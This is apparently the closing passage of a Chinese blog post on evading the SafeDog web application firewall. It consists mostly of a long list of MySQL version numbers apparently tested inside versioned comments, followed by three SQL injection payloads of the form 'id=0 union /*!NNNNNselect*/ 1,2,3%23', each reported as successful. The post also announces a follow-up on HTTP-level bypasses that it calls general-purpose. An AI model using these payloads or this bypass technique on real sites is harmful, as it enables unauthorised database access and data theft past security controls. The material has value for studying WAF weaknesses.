'44485', '44486', '44486', '44487', '44487', '44488', '44488', '44489', '44489', '44490', '44490', '44491', '44491', '44492', '44492', '44493', '44493', '44494', '44494', '44495', '44495', '44496', '44496', '44497', '44497', '44498', '44498', '44499', '44499', '44500', '44500', '44501', '44501', '44502', '44502', '44503', '44503', '44504', '44504', '44505', '44505', '44506', '44506', '44507', '44507', '44508', '44508', '44509', '44509', '44511', '44511', '44510', '44510', '44512', '44512', '44513', '44513', '44514', '44514', '44515', '44515', '44518', '44518', '44516', '44516', '44517', '44517', '44519', '44519', '44521', '44521', '44520', '44520', '44526', '44526', '44525', '44525', '44524', '44524', '44523', '44523', '44522', '44522', '44529', '44529', '44527', '44527', '44528', '44528', '44530', '44530', '44531', '44531', '44532', '44532', '44533', '44533', '44534', '44534', '44535', '44535', '44536', '44536', '44537', '44537', '44538', '44538', '44539', '44539', '44540', '44540', '44541', '44541', '44549', '44549', '44542', '44542', '44543', '44543', '44544', '44544', '44545', '44545', '44546', '44546', '44547', '44547', '44548', '44548', '44550', '44550', '44551', '44551', '44553', '44553', '44552', '44552', '44554', '44554', '44555', '44555', '44556', '44556', '44557', '44557', '44558', '44558', '44559', '44559', '44561', '44561', '44562', '44562', '44560', '44560', '44565', '44565', '44564', '44564', '44563', '44563', '44568', '44568', '44567', '44567', '44566', '44566', '44569', '44569', '44570', '44570', '44571', '44571', '44572', '44572', '44573', '44573', '44574', '44574', '44575', '44575', '44576', '44576', '44577', '44577', '44578', '44578', '44579', '44579', '44580', '44580', '44581', '44581', '44582', '44582', '44583', '44583', '44584', '44584', '44585', '44585', '44586', '44586', '44587', '44587', '44588', '44588', '44589', '44589', '44590', '44590', '44591', '44591', '44592', '44592', '44593', '44593', '44594', '44594', '44595', '44595', '44598', '44598', '44597', '44597', '44596', '44596', '44599', '44599', '44601', '44601', '44600', '44600', '44603', '44603', '44602', '44602', '44604', '44604', '44605', '44605', '44606', '44606', '44607', '44607', '44608', '44608', '44609', '44609', '44610', '44610', '44611', '44611', '44612', '44612', '44613', '44613', '44614', '44614', '44615', '44615', '44616', '44616', '44618', '44618', '44617', '44617', '44620', '44620', '44619', '44619', '44634', '44634', '44622', '44622', '44621', '44621', '44623', '44623', '44624', '44624', '44625', '44625', '44626', '44626', '44627', '44627', '44628', '44628', '44629', '44629', '44630', '44630', '44631', '44631', '44632', '44632', '44633', '44633', '44635', '44635', '44636', '44636', '44637', '44637', '44639', '44639', '44638', '44638', '44641', '44641', '44640', '44640', '44643', '44643', '44642', '44642', '44644', '44644', '44645', '44645', '44646', '44646', '44648', '44648', '44647', '44647', '44649', '44649', '44650', '44650', '44651', '44651', '44652', '44652', '44653', '44653', '44654', '44654', '44655', '44655', '44656', '44656', '44658', '44658', '44657', '44657', '44659', '44659', '44660', '44660', '44661', '44661', '44662', '44662', '44666', '44666', '44663', '44663', '44668', '44668', '44667', '44667', '44664', '44664', '44665', '44665', '44669', '44669', '44670', '44670', '44671', '44671', '44672', '44672', '44673', '44673', '44674', '44674', '44675', '44675', '44676', '44676', '44677', '44677', '44678', '44678', '44679', '44679', '44680', '44680', '44682', '44682', '44681', '44681', '44683', '44683', '44684', '44684', '44685', '44685', '44689', '44689', '44690', '44690', '44692', '44692', '44691', '44691', '44693', '44693', '44694', '44694', '44686', '44686', '44687', '44687', '44688', '44688', '44695', '44695', '44696', '44696', '44697', '44697', '44698', '44698', '44699', '44699', '44700', '44700', '44701', '44701', '44702', '44702', '44703', '44703', '44704', '44704', '44705', '44705', '44707', '44707', '44708', '44708', '44706', '44706', '44709', '44709', '44710', '44710', '44711', '44711', '44712', '44712', '44713', '44713', '44714', '44714', '44715', '44715', '44716', '44716', '44717', '44717', '44718', '44718', '44719', '44719', '44720', '44720', '44721', '44721', '44722', '44722', '44724', '44724', '44723', '44723', '44725', '44725', '44726', '44726', '44727', '44727', '44728', '44728', '44729', '44729', '44730', '44730', '44731', '44731', '44732', '44732', '44733', '44733', '44734', '44734', '44735', '44735', '44736', '44736', '44737', '44737', '44738', '44738', '44740', '44740', '44739', '44739', '44741', '44741', '44742', '44742', '44743', '44743', '44744', '44744', '44745', '44745', '44746', '44746', '44747', '44747', '44748', '44748', '44749', '44749', '44750', '44750', '44751', '44751', '44755', '44755', '44752', '44752', '44753', '44753', '44754', '44754', '44761', '44761', '44762', '44762', '44757', '44757', '44756', '44756', '44763', '44763', '44758', '44758', '44759', '44759', '44760', '44760', '44765', '44765', '44766', '44766', '44767', '44767', '44768', '44768', '44764', '44764', '44769', '44769', '44770', '44770', '44771', '44771', '44772', '44772', '44773', '44773', '44774', '44774', '44775', '44775', '44776', '44776', '44777', '44777', '44779', '44779', '44780', '44780', '44778', '44778', '44781', '44781', '44782', '44782', '44783', '44783', '44784', '44784', '44785', '44785', '44786', '44786', '44787', '44787', '44788', '44788', '44790', '44790', '44789', '44789', '44791', '44791', '44793', '44793', '44794', '44794', '44792', '44792', '44795', '44795', '44796', '44796', '44797', '44797', '44798', '44798', '44799', '44799', '44800', '44800', '44801', '44801', '44802', '44802', '44803', '44803', '44804', '44804', '44806', '44806', '44805', '44805', '44807', '44807', '44808', '44808', '44809', '44809', '44810', '44810', '44811', '44811', '44812', '44812', '44813', '44813', '44814', '44814', '44815', '44815', '44817', '44817', '44818', '44818', '44816', '44816', '44819', '44819', '44820', '44820', '44822', '44822', '44821', '44821', '44823', '44823', '44824', '44824', '44825', '44825', '44826', '44826', '44827', '44827', '44828', '44828', '44829', '44829', '44830', '44830', '44833', '44833', '44832', '44832', '44831', '44831', '44834', '44834', '44835', '44835', '44836', '44836', '44837', '44837', '44839', '44839', '44840', '44840', '44838', '44838', '44841', '44841', '44842', '44842', '44843', '44843', '44844', '44844', '44845', '44845', '44846', '44846', '44847', '44847', '44848', '44848', '44849', '44849', '44850', '44850', '44851', '44851', '44852', '44852', '44853', '44853', '44854', '44854', '44855', '44855', '44857', '44857', '44858', '44858', '44856', '44856', '44859', '44859', '44860', '44860', '44861', '44861', '44862', '44862', '44863', '44863', '44875', '44875', '44874', '44874', '44864', '44864', '44865', '44865', '44866', '44866', '44867', '44867', '44869', '44869', '44868', '44868', '44870', '44870', '44871', '44871', '44872', '44872', '44873', '44873', '44876', '44876', '44877', '44877', '44878', '44878', '44879', '44879', '44880', '44880', '44881', '44881', '44882', '44882', '44883', '44883', '44884', '44884', '44885', '44885', '44886', '44886', '44887', '44887', '44888', '44888', '44890', '44890', '44889', '44889', '44891', '44891', '44892', '44892', '44893', '44893', '44894', '44894', '44895', '44895', '44897', '44897', '44896', '44896', '44898', '44898', '44899', '44899', '44900', '44900', '44901', '44901', '44902', '44902', '44903', '44903', '44904', '44904', '44905', '44905', '44906', '44906', '44909', '44909', '44910', '44910', '44907', '44907', '44908', '44908', '44911', '44911', '44912', '44912', '44913', '44913', '44914', '44914', '44915', '44915', '44918', '44918', '44916', '44916', '44917', '44917', '44921', '44921', '44919', '44919', '44920', '44920', '44922', '44922', '44923', '44923', '44924', '44924', '44925', '44925', '44926', '44926', '44927', '44927', '44928', '44928', '44929', '44929', '44930', '44930', '44931', '44931', '44932', '44932', '44933', '44933', '44934', '44934', '44935', '44935', '44936', '44936', '44937', '44937', '44938', '44938', '44939', '44939', '44940', '44940', '44941', '44941', '44942', '44942', '44943', '44943', '44944', '44944', '44945', '44945', '44946', '44946', '44947', '44947', '44948', '44948', '44949', '44949', '44953', '44953', '44950', '44950', '44955', '44955', '44951', '44951', '44954', '44954', '44952', '44952', '44956', '44956', '44957', '44957', '44958', '44958', '44959', '44959', '44960', '44960', '44961', '44961', '44962', '44962', '44963', '44963', '44971', '44971', '44970', '44970', '44973', '44973', '44972', '44972', '44974', '44974', '44975', '44975', '44965', '44965', '44964', '44964', '44966', '44966', '44967', '44967', '44968', '44968', '44969', '44969', '44976', '44976', '44978', '44978', '44979', '44979', '44977', '44977', '44980', '44980', '44981', '44981', '44984', '44984', '44982', '44982', '44983', '44983', '44985', '44985', '44988', '44988', '44987', '44987', '44986', '44986', '44992', '44992', '44991', '44991', '44990', '44990', '44989', '44989', '44994', '44994', '44993', '44993', '44995', '44995', '44997', '44997', '44996', '44996', '44999', '44999', '45044', '45044', '44998', '44998', '45144', '45144', '45244', '45244', '45344', '45344', '45447', '45447', '45446', '45446', '45445', '45445', '45444', '45444', '45443', '45443', '45442', '45442', '45441', '45441', '45440', '45440', '45448', '45448', '45449', '45449', '45544', '45544', '45644', '45644', '45744', '45744', '45844', '45844', '45944', '45944', '46044', '46044', '46144', '46144', '46244', '46244', '46344', '46344', '46442', '46442', '46441', '46441', '46440', '46440', '46449', '46449', '46448', '46448', '46447', '46447', '46446', '46446', '46445', '46445', '46444', '46444', '46443', '46443', '46544', '46544', '46644', '46644', '46744', '46744', '46844', '46844', '46944', '46944', '47044', '47044', '47144', '47144', '47244', '47244', '47344', '47344', '47441', '47441', '47440', '47440', '47447', '47447', '47446', '47446', '47445', '47445', '47444', '47444', '47443', '47443', '47442', '47442', '47449', '47449', '47448', '47448', '47544', '47544', '47644', '47644', '47744', '47744', '47844', '47844', '47944', '47944', '48044', '48044', '48144', '48144', '48244', '48244', '48344', '48344', '48447', '48447', '48446', '48446', '48445', '48445', '48444', '48444', '48443', '48443', '48442', '48442', '48441', '48441', '48440', '48440', '48449', '48449', '48448', '48448', '48544', '48544', '48644', '48644', '48744', '48744', '48844', '48844', '48944', '48944', '49044', '49044', '49144', '49144', '49244', '49244', '49344', '49344', '49449', '49449', '49448', '49448', '49447', '49447', '49446', '49446', '49445', '49445', '49444', '49444', '49443', '49443', '49442', '49442', '49441', '49441', '49440', '49440', '49544', '49544', '49644', '49644', '49744', '49744', '49844', '49844', '49944', '49944', '50044', '50044', '50144', '50144', '50244', '50244', '50344', '50344', '50441', '50441', '50440', '50440', '50447', '50447', '50446', '50446', '50445', '50445', '50444', '50444', '50443', '50443', '50442', '50442', '50449', '50449', '50448', '50448', '50544', '50544', '50644', '50644', '50744', '50744', '50844', '50844', '50944', '50944', '51044', '51044', '51144', '51144', '51244', '51244', '51344', '51344', '51440', '51440', '51447', '51447', '51446', '51446', '51445', '51445', '51444', '51444', '51443', '51443', '51442', '51442', '51441', '51441', '51449', '51449', '51448', '51448', '51544', '51544', '51644', '51644', '51744', '51744', '51844', '51844', '51944', '51944', '52044', '52044', '52144', '52144', '52244', '52244', '52344', '52344', '52440', '52440', '52445', '52445', '52444', '52444', '52449', '52449', '52443', '52443', '52441', '52441', '52448', '52448', '52447', '52447', '52446', '52446', '52442', '52442', '52544', '52544', '52644', '52644', '52744', '52744', '52844', '52844', '52944', '52944', '53044', '53044', '53144', '53144', '53244', '53244', '53344', '53344', '53440', '53440', '53444', '53444', '53449', '53449', '53448', '53448', '53447', '53447', '53446', '53446', '53445', '53445', '53443', '53443', '53442', '53442', '53441', '53441', '53544', '53544', '53644', '53644', '53744', '53744', '53844', '53844', '53944', '53944', '54044', '54044', '54144', '54144', '54244', '54244', '54344', '54344', '54400', '54400', '54401', '54401', '54403', '54403', '54405', '54405', '54404', '54404', '54402', '54402', '54408', '54408', '54407', '54407', '54406', '54406', '54410', '54410', '54409', '54409', '54411', '54411', '54412', '54412', '54413', '54413', '54414', '54414', '54415', '54415', '54416', '54416', '54417', '54417', '54418', '54418', '54419', '54419', '54421', '54421', '54422', '54422', '54423', '54423', '54424', '54424', '54425', '54425', '54426', '54426', '54420', '54420', '54427', '54427', '54428', '54428', '54429', '54429', '54430', '54430', '54431', '54431', '54432', '54432', '54433', '54433', '54434', '54434', '54435', '54435', '54436', '54436', '54437', '54437', '54438', '54438', '54439', '54439', '54440', '54440', '54441', '54441', '54442', '54442', '54443', '54443', '54444', '54444', '54445', '54445', '54446', '54446', '54448', '54448', '54451', '54451', '54447', '54447', '54450', '54450', '54453', '54453', '54452', '54452', '54449', '54449', '54454', '54454', '54455', '54455', '54456', '54456', '54457', '54457', '54461', '54461', '54459', '54459', '54460', '54460', '54458', '54458', '54462', '54462', '54464', '54464', '54463', '54463', '54465', '54465', '54466', '54466', '54467', '54467', '54468', '54468', '54469', '54469', '54471', '54471', '54472', '54472', '54473', '54473', '54474', '54474', '54470', '54470', '54475', '54475', '54476', '54476', '54477', '54477', '54478', '54478', '54479', '54479', '54481', '54481', '54483', '54483', '54484', '54484', '54480', '54480', '54482', '54482', '54485', '54485', '54486', '54486', '54489', '54489', '54491', '54491', '54490', '54490', '54488', '54488', '54487', '54487', '54494', '54494', '54493', '54493', '54492', '54492', '54496', '54496', '54495', '54495', '54499', '54499', '54498', '54498', '54497', '54497', '54544', '54544', '54644', '54644', '54744', '54744', '54844', '54844', '54944', '54944', '55044', '55044', '55144', '55144', '55244', '55244', '55344', '55344', '55444', '55444', '55443', '55443', '55442', '55442', '55441', '55441', '55440', '55440', '55449', '55449', '55448', '55448', '55447', '55447', '55446', '55446', '55445', '55445', '55544', '55544', '55644', '55644', '55744', '55744', '55844', '55844', '55944', '55944', '56044', '56044', '56144', '56144', '56244', '56244', '56344', '56344', '56446', '56446', '56445', '56445', '56444', '56444', '56443', '56443', '56442', '56442', '56441', '56441', '56440', '56440', '56449', '56449', '56448', '56448', '56447', '56447', '56544', '56544', '56644', '56644',
随便测试几个
id=0 union /*!44579select*/ 1,2,3%23 成功
id=0 union /*!01344select*/ 1,2,3%23 成功
id=0 union /*!50445select*/ 1,2,3%23 成功
篇幅有点长就分上下篇吧 下篇主要通过http 协议绕过安全狗waf 这些姿势都是通用的